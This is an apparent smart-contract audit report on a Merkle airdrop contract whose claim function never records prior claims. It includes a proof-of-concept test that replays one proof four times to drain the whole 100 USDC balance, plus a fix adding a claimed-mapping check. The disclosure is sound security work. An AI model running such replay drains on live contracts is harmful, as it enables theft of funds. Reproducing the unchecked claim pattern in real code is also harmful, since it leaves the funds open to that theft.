AirDropper

Description

• The claim function distributes tokens to eligible addresses by verifying a Merkle proof and charging a small ETH fee per call.

• No state variable is written after a successful claim — there is no hasClaimed[account] mapping or any equivalent. Since the Merkle proof verification is
  purely deterministic, the same (account, amount, proof) triple passes every subsequent call identically, transferring amount tokens each time until the contract
  balance reaches zero.

// src/MerkleAirdrop.sol

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
@> i_airdropToken.safeTransfer(account, amount);
// @> No storage write anywhere in this function.
// @> hasClaimed[account] is never set — proof remains valid for every future call.
}

Risk

Likelihood:

• The Merkle tree data (addresses, amounts, proofs) is publicly derivable from the off-chain tree.json file published alongside the contract — any observer has
  everything required to execute the attack from the moment the contract is funded.

• The cost per replay is 1 gwei + gas, which is orders of magnitude less than the value of 25 USDC per call — the attack is profitable from the very first
  replay.

Impact:

• The entire token balance (100 USDC) can be drained in a single transaction loop for approximately 4 gwei total, leaving the other three eligible addresses with
  nothing to claim.

• The protocol's stated distribution goal — 25 USDC each to 4 specific addresses — is completely defeated; one party captures the entire allocation through
  mechanical replay.

Proof of Concept

function test_H02_ReplayDrainsEntireContract() public {
uint256 contractBalanceBefore = token.balanceOf(address(airdrop));
// contractBalanceBefore = 4 * 25e6 = 100e6

  // Attacker pays 4 × 1 gwei = 4 gwei to drain 100 USDC
  vm.deal(collectorOne, airdrop.getFee() * 4);
  vm.startPrank(collectorOne);

  // Same (account, amount, proof) replayed 4 times — all succeed
  airdrop.claim{value: airdrop.getFee()}(collectorOne, amountToCollect, proof);
  airdrop.claim{value: airdrop.getFee()}(collectorOne, amountToCollect, proof);
  airdrop.claim{value: airdrop.getFee()}(collectorOne, amountToCollect, proof);
  airdrop.claim{value: airdrop.getFee()}(collectorOne, amountToCollect, proof);
  vm.stopPrank();

  assertEq(token.balanceOf(address(airdrop)), 0);        // fully drained
  assertEq(token.balanceOf(collectorOne), amountToCollect * 4); // 4× intended amount

}

Recommended Mitigation

• mapping(address => bool) private s_hasClaimed;

• error MerkleAirdrop__AlreadyClaimed();

  function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
  if (msg.value != FEE) {
  revert MerkleAirdrop__InvalidFeeAmount();
  }

• if (s_hasClaimed[account]) {
  

•     revert MerkleAirdrop__AlreadyClaimed();
  

• }
  bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
  if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
      revert MerkleAirdrop__InvalidProof();
  }
  

• s_hasClaimed[account] = true;
  emit Claimed(account, amount);
  i_airdropToken.safeTransfer(account, amount);
  

  }